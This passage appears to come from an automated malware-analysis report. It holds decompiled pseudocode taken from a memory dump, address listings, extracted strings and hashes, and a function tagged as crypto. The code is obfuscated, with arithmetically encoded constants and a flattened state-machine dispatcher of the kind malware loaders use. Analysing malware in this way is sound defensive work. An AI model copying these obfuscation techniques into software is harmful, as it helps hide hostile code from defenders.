							_t763 = E00FA0AD3(_v316, _v108, __eflags);
							_t832 = 0xf81708;
							_t918 = _t763;
							_v44 = _v200;
							_v40 = _v340;
							_v36 = _v392;
							_t772 = E00F9C50B(_v376, _v84,  *((intOrPtr*)( *0xfa5be0 + 0xc)), _t832, _v120, _v104,  *0xfa5be0 + 0x70, _t832, _v128,  &_v44,  *((intOrPtr*)( *0xfa5be0 + 8)), _v384, _t763, _v284, _v276, _v280);
							_t923 =  &(_t923[0xe]);
							__eflags = _t772 - _v260;
							if(_t772 != _v260) {
								_t808 = 0x88fbe98;
							} else {
								_t808 = _t913;
								_t921 = 1;
							}
							E00F92EED(_v360, _v180, _v368, _t918);
							goto L12;
						} else {
							if(_t808 == _t889) {
								_push(0xf81618);
								__eflags = E00F85894(_v144,  *0xfa5be0 + 0xc, _v356,  &_v80, _v324, _v240, E00FA0AD3(_v364, _v92, __eflags), _v216, _v248, _v84) - _v100;
								_t808 =  ==  ? 0x8c7d07e : _t913;
								E00F92EED(_v136, _v348, _v292, _t774);
								_t923 =  &(_t923[0xb]);
								goto L12;
							} else {
								if(_t808 == 0x77e61bb) {
									_push(0xf81738);
									_t780 = E00FA0AD3(_v380, _v232, __eflags);
									 *_t923 = 0xf815c8;
									__eflags = E00F892DD(_t780, _v208, _v88,  &_v84, E00FA0AD3(_v184, _v272, __eflags), _v160, _v332, _v112) - _v264;
									_t808 =  ==  ? 0xfce4db5 : 0x3abff5b;
									E00F92EED(_v152, _v224, _v372, _t780);
									E00F92EED(_v192, _v256, _v308, _t781);
									_t923 =  &(_t923[0xb]);
									goto L11;
								} else {
									if(_t808 == 0x88fbe98) {
										E00F8F699(_v300,  *((intOrPtr*)( *0xfa5be0 + 8)), _v268, _v96, _v176);
										_t923 =  &(_t923[3]);
										_t808 = _t913;
										goto L1;
									} else {
										if(_t808 == _t761) {
											_push(_t829);
											_t792 = E00F96F53( *((intOrPtr*)( *0xfa5be0 + 0xc)));
											_t808 =  !=  ? _t916 : _t913;
											 *((intOrPtr*)( *0xfa5be0 + 8)) = _t792;
											while(1) {
												L1:
												_t829 = 0xfce4db5;
												_t761 = 0x8c7d07e;
												_t889 = 0x74c5c61;
												goto L2;
											}
										}
									}
								}
							}
						}
						L25:
						__eflags = _t808 - 0x3abff5b;
					} while (__eflags != 0);
					return _t921;
				}
			}

0x00f9f561
0x00f9f567
0x00f9f580
0x00f9f587
0x00f9f589
0x00f9f594
0x00f9f599
0x00f9f5a4
0x00f9f5ac
0x00f9f5b1
0x00f9f5bf
0x00f9f5c6
0x00f9f5cb
0x00f9f5d1
0x00f9f5d9
0x00f9f5e1
0x00f9f5e6
0x00f9f5ee
0x00f9f5f3
0x00f9f5fb
0x00f9f60e
0x00f9f611
0x00f9f623
0x00f9f62a
0x00f9f635
0x00f9f640
0x00f9f64f
0x00f9f654
0x00f9f65d
0x00f9f668
0x00f9f673
0x00f9f67b
0x00f9f683
0x00f9f68e
0x00f9f6a1
0x00f9f6a2
0x00f9f6a9
0x00f9f6b4
0x00f9f6bf
0x00f9f6ca
0x00f9f6d2
0x00f9f6da
0x00f9f6e5
0x00f9f6f0
0x00f9f6fb
0x00f9f706
0x00f9f711
0x00f9f71c
0x00f9f727
0x00f9f732
0x00f9f73d
0x00f9f748
0x00f9f753
0x00f9f75b
0x00f9f763
0x00f9f768
0x00f9f76d
0x00f9f775
0x00f9f783
0x00f9f787
0x00f9f791
0x00f9f799
0x00f9f7a1
0x00f9f7a9
0x00f9f7b1
0x00f9f7bc
0x00f9f7c1
0x00f9f7c7
0x00f9f7cf
0x00f9f7da
0x00f9f7e9
0x00f9f7ee
0x00f9f7f7
0x00f9f802
0x00f9f80d
0x00f9f814
0x00f9f81f
0x00f9f82a
0x00f9f832
0x00f9f83a
0x00f9f845
0x00f9f850
0x00f9f85b
0x00f9f866
0x00f9f871
0x00f9f878
0x00f9f883
0x00f9f88b
0x00f9f893
0x00f9f89d
0x00f9f89e
0x00f9f8a2
0x00f9f8aa
0x00f9f8b5
0x00f9f8c0
0x00f9f8cb
0x00f9f8d6
0x00f9f8e1
0x00f9f8ec
0x00f9f8f7
0x00f9f907
0x00f9f90e
0x00f9f919
0x00f9f927
0x00f9f930
0x00f9f934
0x00f9f93c
0x00f9f944
0x00f9f94f
0x00f9f95a
0x00f9f962
0x00f9f96d
0x00f9f978
0x00f9f980
0x00f9f98b
0x00f9f996
0x00f9f99e
0x00f9f9a6
0x00f9f9ab
0x00f9f9b3
0x00f9f9bb
0x00f9f9c3
0x00f9f9c8
0x00f9f9d0
0x00f9f9d8
0x00f9f9e0
0x00f9f9ed
0x00f9f9f8
0x00f9fa03
0x00f9fa18
0x00f9fa1b
0x00f9fa22
0x00f9fa2a
0x00f9fa35
0x00f9fa48
0x00f9fa4f
0x00f9fa5a
0x00f9fa62
0x00f9fa67
0x00f9fa6f
0x00f9fa77
0x00f9fa7f
0x00f9fa8a
0x00f9fa95
0x00f9faa0
0x00f9fab3
0x00f9faba
0x00f9fac5
0x00f9facd
0x00f9fad5
0x00f9fadd
0x00f9fae5
0x00f9fafb
0x00f9fb02
0x00f9fb0d
0x00f9fb18
0x00f9fb23
0x00f9fb2b
0x00f9fb36
0x00f9fb41
0x00f9fb53
0x00f9fb58
0x00f9fb61
0x00f9fb6c
0x00f9fb77
0x00f9fb7f
0x00f9fb8a
0x00f9fb95
0x00f9fb9d
0x00f9fba8
0x00f9fbb3
0x00f9fbbe
0x00f9fbc6
0x00f9fbd1
0x00f9fbdc
0x00f9fbe4
0x00f9fbef
0x00f9fbfa
0x00f9fc05
0x00f9fc10
0x00f9fc1b
0x00f9fc26
0x00f9fc31
0x00f9fc39
0x00f9fc41
0x00f9fc4c
0x00f9fc58
0x00f9fc5b
0x00f9fc5f
0x00f9fc64
0x00f9fc6c
0x00f9fc74
0x00f9fc85
0x00f9fc88
0x00f9fc91
0x00f9fc9d
0x00f9fca1
0x00f9fca9
0x00f9fcb1
0x00f9fcb9
0x00f9fcbe
0x00f9fcc6
0x00f9fcce
0x00f9fcd9
0x00f9fce4
0x00f9fcef
0x00f9fcfa
0x00f9fd05
0x00f9fd10
0x00f9fd18
0x00f9fd1d
0x00f9fd2a
0x00f9fd2b
0x00f9fd2f
0x00f9fd37
0x00f9fd3f
0x00f9fd44
0x00f9fd4c
0x00f9fd54
0x00f9fd5c
0x00f9fd67
0x00f9fd72
0x00f9fd7d
0x00f9fd88
0x00f9fd9c
0x00f9fda3
0x00f9fdae
0x00f9fdb9
0x00f9fdc4
0x00f9fdcf
0x00f9fdda
0x00f9fde2
0x00f9fdea
0x00f9fdf7
0x00f9fdfb
0x00f9fe03
0x00f9fe0b
0x00f9fe13
0x00f9fe1b
0x00f9fe23
0x00f9fe2b
0x00f9fe33
0x00f9fe3b
0x00f9fe3f
0x00f9fe47
0x00f9fe4f
0x00f9fe5a
0x00f9fe62
0x00f9fe6d
0x00f9fe7a
0x00f9fe7e
0x00f9fe86
0x00f9fe8e
0x00f9fe96
0x00f9fea1
0x00f9fea9
0x00f9feb4
0x00f9febc
0x00f9fec9
0x00f9fecf
0x00f9fed4
0x00f9fedc
0x00f9fef0
0x00f9fef5
0x00f9fefe
0x00f9ff09
0x00f9ff14
0x00f9ff1f
0x00f9ff2a
0x00f9ff32
0x00f9ff3a
0x00f9ff44
0x00f9ff47
0x00f9ff4b
0x00f9ff53
0x00f9ff5e
0x00f9ff69
0x00f9ff71
0x00f9ff7c
0x00f9ff87
0x00f9ff92
0x00f9ff9d
0x00f9ffa8
0x00f9ffb3
0x00f9ffbe
0x00f9ffc9
0x00f9ffd4
0x00f9ffdc
0x00f9ffe1
0x00f9ffee
0x00f9fff2
0x00f9fffa
0x00fa000d
0x00fa000e
0x00fa0015
0x00fa0020
0x00fa0028
0x00fa0035
0x00fa003e
0x00fa0042
0x00fa004a
0x00fa0052
0x00fa005a
0x00fa0062
0x00fa006a
0x00fa0072
0x00fa007d
0x00fa0085
0x00fa0090
0x00fa009b
0x00fa00a6
0x00fa00ae
0x00fa00b9
0x00fa00cd
0x00fa00d4
0x00fa00df
0x00fa00ea
0x00fa00f5
0x00fa0100
0x00fa0108
0x00fa010c
0x00fa0114
0x00fa0119
0x00fa0121
0x00fa0129
0x00fa012e
0x00fa0133
0x00fa0138
0x00fa013d
0x00fa0142
0x00fa014a
0x00fa0155
0x00fa0155
0x00fa0155
0x00fa015a
0x00fa015f
0x00fa0164
0x00fa0164
0x00fa0164
0x00fa0164
0x00fa0166
0x00000000
0x00000000
0x00fa0411
0x00fa0413
0x00fa0597
0x00fa059c
0x00fa059f
0x00000000
0x00fa0419
0x00fa0419
0x00fa041f
0x00fa0570
0x00000000
0x00fa0425
0x00fa0425
0x00fa0427
0x00fa0438
0x00fa0449
0x00fa0452
0x00fa0459
0x00fa046d
0x00fa047f
0x00fa0485
0x00fa0494
0x00fa04a2
0x00fa04ad
0x00fa04bb
0x00fa04d1
0x00fa052c
0x00fa0549
0x00fa054c
0x00fa0551
0x00fa0564
0x00fa02a2
0x00fa02a2
0x00fa02a7
0x00fa02a7
0x00fa05a4
0x00fa05a4
0x00fa05a9
0x00fa05ae
0x00fa05ae
0x00fa0427
0x00fa041f
0x00000000
0x00fa0413
0x00fa016c
0x00fa034f
0x00fa0354
0x00fa0355
0x00fa035e
0x00fa0369
0x00fa037b
0x00fa03d8
0x00fa03dd
0x00fa03e0
0x00fa03e7
0x00fa03f0
0x00fa03e9
0x00fa03eb
0x00fa03ed
0x00fa03ed
0x00fa0405
0x00000000
0x00fa0172
0x00fa0174
0x00fa02bc
0x00fa0315
0x00fa032f
0x00fa0332
0x00fa0337
0x00000000
0x00fa017a
0x00fa0180
0x00fa01fc
0x00fa0201
0x00fa0216
0x00fa0262
0x00fa027c
0x00fa027f
0x00fa029a
0x00fa029f
0x00000000
0x00fa0182
0x00fa0188
0x00fa01e2
0x00fa01e7
0x00fa01ea
0x00000000
0x00fa018a
0x00fa018c
0x00fa01a3
0x00fa01a7
0x00fa01b8
0x00fa01bb
0x00fa0155
0x00fa0155
0x00fa0155
0x00fa015a
0x00fa015f
0x00000000
0x00fa015f
0x00fa0155
0x00fa018c
0x00fa0188
0x00fa0180
0x00fa0174
0x00fa05b3
0x00fa05b3
0x00fa05b3
0x00fa05cb
0x00fa05cb

Strings

@H, xrefs: 00F9F883
Nu, xrefs: 00F9FD4C
J-, xrefs: 00F9FFB3
M49, xrefs: 00F9F814
R, xrefs: 00F9FA8A
4T, xrefs: 00FA0100
,Tj, xrefs: 00F9F96D
qDC, xrefs: 00F9F75B
(, xrefs: 00F9F668
CM<, xrefs: 00F9FBD1
;r, xrefs: 00FA00AE
*h, xrefs: 00F9F7A9
1cV, xrefs: 00FA0121
~A, xrefs: 00FA005A
yI, xrefs: 00F9FCD9
, xrefs: 00FA014A
TqV, xrefs: 00F9F727

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $($*h$,Tj$1cV$4T$;r$@H$CM<$J-$M49$Nu$R$TqV$qDC$yI$~A
API String ID: 0-1702946932
Opcode ID: 35043361092dcc9171323a25851c5c7f5c63a6cf02deab520cd4e6f01efbf5e2
Instruction ID: 6be535d8868561efdd797db7c75cd2bb584eb1d1a37ed71b42c2478ad2f482ea
Opcode Fuzzy Hash: 35043361092dcc9171323a25851c5c7f5c63a6cf02deab520cd4e6f01efbf5e2
Instruction Fuzzy Hash: 1A82F0B15093808FD3B9CF61C98AB8BBBE1BBC5704F10891DE1D986260DBB59949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8C69B, Relevance: 20.7, Strings: 16, Instructions: 715
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00F8C69B(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				void* _v88;
				intOrPtr _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				void* _t802;
				void* _t804;
				void* _t806;
				void* _t813;
				void* _t815;
				void* _t824;
				void* _t825;
				void* _t826;
				void* _t834;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				signed int _t861;
				void* _t862;
				char _t876;
				void* _t895;
				void* _t970;
				signed int _t973;
				void* _t974;
				signed int _t976;
				void* _t977;
				void* _t981;
				signed int* _t982;
				void* _t985;

				_t982 =  &_v420;
				_v92 = 0x21aaea;
				_v96 = __ecx;
				asm("stosd");
				_t840 = 0x27;
				asm("stosd");
				_t981 = 0;
				_t834 = 0x28b91dd;
				asm("stosd");
				_v276 = 0xea4201;
				_v276 = _v276 / _t840;
				_v276 = _v276 >> 9;
				_v276 = _v276 ^ 0x00000300;
				_v216 = 0x33fbfd;
				_v216 = _v216 + 0xffff15bd;
				_v216 = _v216 ^ 0x003311ba;
				_v348 = 0x23ac56;
				_t841 = 7;
				_v348 = _v348 * 0x70;
				_v348 = _v348 >> 0xa;
				_v348 = _v348 << 5;
				_v348 = _v348 ^ 0x007cdb20;
				_v152 = 0xc392ed;
				_v152 = _v152 | 0x3cac8e62;
				_v152 = _v152 ^ 0x3cef9eef;
				_v120 = 0xdb52e;
				_v120 = _v120 | 0x021edf72;
				_v120 = _v120 ^ 0x021fff7e;
				_v140 = 0x716289;
				_v140 = _v140 / _t841;
				_v140 = _v140 ^ 0x001032a5;
				_v404 = 0x901eee;
				_v404 = _v404 | 0xb1deeda2;
				_v404 = _v404 << 0x10;
				_t842 = 0x18;
				_v404 = _v404 * 0x76;
				_v404 = _v404 ^ 0xf7b40000;
				_v308 = 0x6641fd;
				_v308 = _v308 << 8;
				_v308 = _v308 >> 0xb;
				_v308 = _v308 ^ 0x000cc83f;
				_v220 = 0xec4b39;
				_t65 =  &_v220; // 0xec4b39
				_v220 =  *_t65 * 0x63;
				_v220 = _v220 ^ 0x5b61170b;
				_v336 = 0x6361c6;
				_v336 = _v336 | 0x3c2b95f6;
				_v336 = _v336 << 6;
				_v336 = _v336 ^ 0xaef3ea0d;
				_v336 = _v336 ^ 0xb40e978d;
				_v196 = 0x15a25f;
				_v196 = _v196 * 0x3e;
				_v196 = _v196 ^ 0x053d5302;
				_v244 = 0xaeb8cf;
				_v244 = _v244 ^ 0x8ffcaaa2;
				_v244 = _v244 + 0xffff121b;
				_v244 = _v244 ^ 0x8f512488;
				_v284 = 0x3cdf2a;
				_v284 = _v284 / _t842;
				_t843 = 0x6f;
				_v284 = _v284 / _t843;
				_v284 = _v284 ^ 0x00028d29;
				_v380 = 0xe8bf5b;
				_v380 = _v380 | 0xa79448e5;
				_v380 = _v380 + 0x3298;
				_t844 = 0x61;
				_v380 = _v380 / _t844;
				_v380 = _v380 ^ 0x01b6f871;
				_v164 = 0xa028e3;
				_v164 = _v164 >> 8;
				_v164 = _v164 ^ 0x000bef7a;
				_v144 = 0xaa000b;
				_v144 = _v144 | 0xb15b5655;
				_v144 = _v144 ^ 0xb1f93ed7;
				_v224 = 0x825ce8;
				_v224 = _v224 ^ 0x99839705;
				_v224 = _v224 ^ 0x990bf034;
				_v232 = 0x9a02a1;
				_v232 = _v232 ^ 0x3230df48;
				_v232 = _v232 ^ 0x32abc77a;
				_v372 = 0xe8db0;
				_v372 = _v372 ^ 0xdf502c0f;
				_v372 = _v372 << 4;
				_v372 = _v372 + 0xa166;
				_v372 = _v372 ^ 0xf5e20524;
				_v236 = 0xf17d89;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xc5fdd8cb;
				_v192 = 0x124401;
				_v192 = _v192 << 1;
				_v192 = _v192 ^ 0x002403ab;
				_v200 = 0x5fb430;
				_v200 = _v200 ^ 0xc7981bfe;
				_v200 = _v200 ^ 0xc7ca3d42;
				_v208 = 0xc74c13;
				_t845 = 0x57;
				_v208 = _v208 / _t845;
				_v208 = _v208 ^ 0x0006a8aa;
				_v168 = 0x8380fc;
				_v168 = _v168 * 0x53;
				_v168 = _v168 ^ 0x2aae8785;
				_v176 = 0x9ffdb9;
				_v176 = _v176 ^ 0xfc54cce6;
				_v176 = _v176 ^ 0xfccfce01;
				_v184 = 0x3c19aa;
				_v184 = _v184 + 0xffff0dbd;
				_v184 = _v184 ^ 0x003c7cd6;
				_v332 = 0x7ddf6a;
				_v332 = _v332 * 0x48;
				_v332 = _v332 + 0xffffc784;
				_v332 = _v332 >> 2;
				_v332 = _v332 ^ 0x08d6f5e9;
				_v260 = 0x768b26;
				_v260 = _v260 + 0x1ea0;
				_v260 = _v260 >> 0xa;
				_v260 = _v260 ^ 0x00091d68;
				_v340 = 0xf041ab;
				_v340 = _v340 | 0x9a3ffa69;
				_v340 = _v340 * 0x76;
				_v340 = _v340 << 2;
				_v340 = _v340 ^ 0xc7fb4a22;
				_v356 = 0x43b3d6;
				_v356 = _v356 + 0x4b8b;
				_v356 = _v356 + 0xe9f;
				_v356 = _v356 >> 3;
				_v356 = _v356 ^ 0x000654db;
				_v296 = 0x3744a4;
				_v296 = _v296 | 0xb4c0bda8;
				_v296 = _v296 << 0xc;
				_v296 = _v296 ^ 0x7fd1bf6e;
				_v240 = 0xf0a4a1;
				_t846 = 0x35;
				_t973 = 0x29;
				_v240 = _v240 * 0x29;
				_v240 = _v240 ^ 0x268dfba5;
				_v204 = 0x963c75;
				_v204 = _v204 * 0x65;
				_v204 = _v204 ^ 0x3b49a4c9;
				_v248 = 0xe9b3e2;
				_v248 = _v248 + 0xffffcfe1;
				_v248 = _v248 + 0xffff3918;
				_v248 = _v248 ^ 0x00edd730;
				_v320 = 0x14b129;
				_v320 = _v320 | 0x7afa9cce;
				_v320 = _v320 << 6;
				_v320 = _v320 * 0x2c;
				_v320 = _v320 ^ 0xf22961a1;
				_v412 = 0xf4420e;
				_v412 = _v412 * 0x78;
				_v412 = _v412 >> 5;
				_v412 = _v412 + 0x6896;
				_v412 = _v412 ^ 0x039e325f;
				_v420 = 0x97c268;
				_v420 = _v420 >> 7;
				_v420 = _v420 + 0x9a22;
				_v420 = _v420 * 5;
				_v420 = _v420 ^ 0x0006f3f8;
				_v368 = 0xfa90cd;
				_v368 = _v368 >> 3;
				_v368 = _v368 | 0x960f0bdf;
				_v368 = _v368 / _t846;
				_v368 = _v368 ^ 0x02d25408;
				_v344 = 0xc4a2c6;
				_v344 = _v344 / _t973;
				_t847 = 0x6d;
				_v344 = _v344 * 0x41;
				_v344 = _v344 / _t847;
				_v344 = _v344 ^ 0x0000e167;
				_v376 = 0xa5ec95;
				_v376 = _v376 + 0xffff9374;
				_v376 = _v376 + 0x40c1;
				_v376 = _v376 << 5;
				_v376 = _v376 ^ 0x14ba2e6c;
				_v124 = 0xd2fda4;
				_v124 = _v124 + 0xe683;
				_v124 = _v124 ^ 0x00d1ecea;
				_v188 = 0x3a4eac;
				_v188 = _v188 * 0x65;
				_v188 = _v188 ^ 0x170628e3;
				_v132 = 0x698490;
				_v132 = _v132 + 0x597e;
				_v132 = _v132 ^ 0x0066fb45;
				_v292 = 0x223a77;
				_v292 = _v292 << 0xd;
				_v292 = _v292 + 0xffff3c10;
				_v292 = _v292 ^ 0x474a06e9;
				_v180 = 0x302f0e;
				_v180 = _v180 >> 5;
				_v180 = _v180 ^ 0x000a5e5d;
				_v300 = 0xc22ee2;
				_v300 = _v300 << 9;
				_v300 = _v300 ^ 0x161ea530;
				_v300 = _v300 ^ 0x924eaf38;
				_v172 = 0xfb4aa2;
				_t848 = 0x5b;
				_v172 = _v172 / _t848;
				_v172 = _v172 ^ 0x000048eb;
				_v388 = 0x360efc;
				_t849 = 0xa;
				_v388 = _v388 * 0x3a;
				_v388 = _v388 + 0xc1c4;
				_v388 = _v388 + 0x5664;
				_v388 = _v388 ^ 0x0c403f0e;
				_v396 = 0x5476a;
				_v396 = _v396 ^ 0x42600bf2;
				_v396 = _v396 >> 0xe;
				_v396 = _v396 * 0x62;
				_v396 = _v396 ^ 0x00664365;
				_v328 = 0xe3494b;
				_v328 = _v328 + 0x92aa;
				_v328 = _v328 ^ 0x6aed616f;
				_t376 =  &_v328; // 0x6aed616f
				_v328 =  *_t376 / _t849;
				_v328 = _v328 ^ 0x0a9641d7;
				_v268 = 0xcdefc7;
				_v268 = _v268 ^ 0xa3334e4e;
				_t850 = 0x25;
				_v268 = _v268 / _t850;
				_v268 = _v268 ^ 0x04647efb;
				_v400 = 0x131a5;
				_t851 = 0x64;
				_v400 = _v400 * 0x4a;
				_v400 = _v400 ^ 0x0f1274da;
				_v400 = _v400 * 0x22;
				_v400 = _v400 ^ 0x07d5f55f;
				_v360 = 0xe617d1;
				_v360 = _v360 >> 0xd;
				_v360 = _v360 | 0x5174fa74;
				_v360 = _v360 + 0x188;
				_v360 = _v360 ^ 0x517a384b;
				_v128 = 0xe00f23;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x8036c474;
				_v408 = 0xcb78c3;
				_v408 = _v408 / _t851;
				_t852 = 0x47;
				_v408 = _v408 / _t852;
				_v408 = _v408 + 0xffff68fe;
				_v408 = _v408 ^ 0xfff44118;
				_v272 = 0xfc5a62;
				_v272 = _v272 * 0x34;
				_v272 = _v272 >> 5;
				_v272 = _v272 ^ 0x019747a7;
				_v156 = 0xfa4dde;
				_v156 = _v156 >> 8;
				_v156 = _v156 ^ 0x000644ae;
				_v304 = 0x2315e0;
				_v304 = _v304 ^ 0x963b0ec5;
				_t853 = 0x11;
				_v304 = _v304 / _t853;
				_v304 = _v304 ^ 0x08dc5d77;
				_v392 = 0x627a1b;
				_t854 = 0x75;
				_v392 = _v392 / _t854;
				_v392 = _v392 << 0xc;
				_t976 = 0x2a;
				_v392 = _v392 / _t976;
				_v392 = _v392 ^ 0x0054cd8e;
				_v148 = 0x2962f6;
				_v148 = _v148 << 0xe;
				_v148 = _v148 ^ 0x58b06ca9;
				_v212 = 0x9d6abd;
				_v212 = _v212 + 0xffff6fa8;
				_v212 = _v212 ^ 0x009f4a76;
				_v416 = 0xfea0f4;
				_t855 = 0x2d;
				_v416 = _v416 / _t855;
				_v416 = _v416 / _t973;
				_v416 = _v416 + 0x55e0;
				_v416 = _v416 ^ 0x0005c112;
				_v228 = 0x3963a4;
				_v228 = _v228 ^ 0x31d128c3;
				_v228 = _v228 ^ 0x31eeea44;
				_v136 = 0x9230b0;
				_v136 = _v136 + 0xffff1ea6;
				_v136 = _v136 ^ 0x00954d5e;
				_v364 = 0x2249f0;
				_v364 = _v364 ^ 0xfb680cc4;
				_v364 = _v364 / _t976;
				_v364 = _v364 << 4;
				_v364 = _v364 ^ 0x5fb5fcae;
				_v160 = 0x56bde9;
				_v160 = _v160 << 0x10;
				_v160 = _v160 ^ 0xbde8ac4a;
				_v312 = 0x1ceb4a;
				_v312 = _v312 | 0x930b0a1e;
				_v312 = _v312 + 0x4259;
				_v312 = _v312 ^ 0x93207f8d;
				_v280 = 0x43d239;
				_v280 = _v280 >> 0xb;
				_v280 = _v280 + 0xffff7066;
				_v280 = _v280 ^ 0xfff11c5c;
				_v264 = 0xa9b19b;
				_v264 = _v264 + 0xffffea48;
				_v264 = _v264 ^ 0xb4acc61c;
				_v264 = _v264 ^ 0xb407c15c;
				_v288 = 0x20bbe8;
				_v288 = _v288 + 0xffffa4f3;
				_v288 = _v288 + 0xeeb1;
				_v288 = _v288 ^ 0x002a2e89;
				_v384 = 0x678812;
				_t856 = 0x60;
				_v384 = _v384 / _t856;
				_v384 = _v384 ^ 0xc458a46c;
				_t974 = 0x4e52e2;
				_t977 = 0x8c2efc;
				_t857 = 0x74;
				_v384 = _v384 / _t857;
				_v384 = _v384 ^ 0x01b63bee;
				_v256 = 0xedc72;
				_t858 = 0x62;
				_v256 = _v256 / _t858;
				_v256 = _v256 >> 0xf;
				_v256 = _v256 ^ 0x000eb51d;
				_v352 = 0x77af38;
				_v352 = _v352 + 0xffff483b;
				_v352 = _v352 + 0xdbd8;
				_v352 = _v352 + 0xffff9e40;
				_v352 = _v352 ^ 0x007a82c2;
				_v316 = 0x34e014;
				_v316 = _v316 >> 0xb;
				_v316 = _v316 + 0xffff226a;
				_v316 = _v316 ^ 0x55756368;
				_v316 = _v316 ^ 0xaa84562e;
				_v324 = 0x2bc11f;
				_v324 = _v324 | 0x52ab72b8;
				_t859 = 0x58;
				_v324 = _v324 / _t859;
				_t860 = 0x5f;
				_v324 = _v324 / _t860;
				_v324 = _v324 ^ 0x00016621;
				_v252 = 0xf022e;
				_v252 = _v252 >> 8;
				_t861 = 0x3b;
				_v252 = _v252 / _t861;
				_v252 = _v252 ^ 0x000f04ac;
				while(1) {
					L1:
					_t802 = 0xd56de6a;
					while(1) {
						L2:
						_t862 = 0x80f0eae;
						do {
							while(1) {
								L3:
								_t985 = _t834 - 0x8ccb677;
								if(_t985 > 0) {
									break;
								}
								if(_t985 == 0) {
									E00F98907(_v100, _v280, _v264, _v288);
									_t834 = _t974;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										L2:
										_t862 = 0x80f0eae;
										goto L3;
									}
								}
								if(_t834 == _t974) {
									E00F98907(_v116, _v384, _v256, _v352);
									_t834 = 0xe9f0a5a;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == _t977) {
									_t824 = E00F9F561(_v104);
									_t834 = 0xac30134;
									__eflags = _t824;
									_t981 =  !=  ? 1 : _t981;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == 0x14ed6fb) {
									_t825 = E00F9132D(_v116, _v296, _v240, _v120, _v204);
									_t982 =  &(_t982[3]);
									__eflags = _t825 - _v140;
									_t802 = 0xd56de6a;
									_t834 =  ==  ? 0xd56de6a : _t974;
									goto L2;
								}
								if(_t834 == 0x15fae28) {
									_t826 = E00FA0AD3(_v328, _v268, __eflags);
									_t895 = 0xf81598;
									__eflags = E00F8F7F4(_v400, _t826, _v360,  *_v96,  *((intOrPtr*)(_v96 + 4)), _t895, _v128, _v112,  &_v100, _v408, _v272, _v220, _v156, _v304) - _v336;
									_t834 =  ==  ? 0x80f0eae : _t974;
									E00F92EED(_v392, _v148, _v212, _t826);
									_t982 =  &(_t982[0xe]);
									L14:
									_t977 = 0x8c2efc;
									L35:
									_t862 = 0x80f0eae;
									_t802 = 0xd56de6a;
									goto L36;
								}
								if(_t834 == 0x28b91dd) {
									_t834 = 0xbb5c550;
									continue;
								}
								if(_t834 != _t862) {
									goto L36;
								}
								E00F93927(_v416, _v228, _v136, _v196,  &_v104, _v116, _v100);
								_t982 =  &(_t982[5]);
								_t834 =  ==  ? _t977 : 0x8ccb677;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0x9b49f28;
							if(_t834 == 0x9b49f28) {
								_v108 = 0x100;
								_t804 = E00F9703F(_v332, _v260, _v340, 0x100,  &_v116, _v112, _v348, _v356);
								_t982 =  &(_t982[6]);
								__eflags = _t804 - _v152;
								if(__eflags != 0) {
									_t834 = 0xe9f0a5a;
									goto L35;
								}
								_t834 = 0x14ed6fb;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0xac30134;
							if(_t834 == 0xac30134) {
								E00F85FF7(_v364, _v160, _v312, _v104);
								_t834 = 0x8ccb677;
								goto L1;
							}
							__eflags = _t834 - 0xbb5c550;
							if(__eflags == 0) {
								_push(0xf816d8);
								_t806 = E00FA0AD3(_v284, _v380, __eflags);
								 *_t982 = 0xf815c8;
								__eflags = E00F892DD(_t806, _v276, _v224,  &_v112, E00FA0AD3(_v164, _v144, __eflags), _v232, _v372, _v236) - _v216;
								_t834 =  ==  ? 0x9b49f28 : 0x911112e;
								E00F92EED(_v192, _v200, _v208, _t806);
								E00F92EED(_v168, _v176, _v184, _t807);
								_t982 =  &(_t982[0xa]);
								_t974 = 0x4e52e2;
								goto L14;
							}
							__eflags = _t834 - _t802;
							if(__eflags == 0) {
								_push(0xf81598);
								_t813 = E00FA0AD3(_v248, _v320, __eflags);
								_t876 = 0x48;
								_t980 = _t813;
								_v108 = _t876;
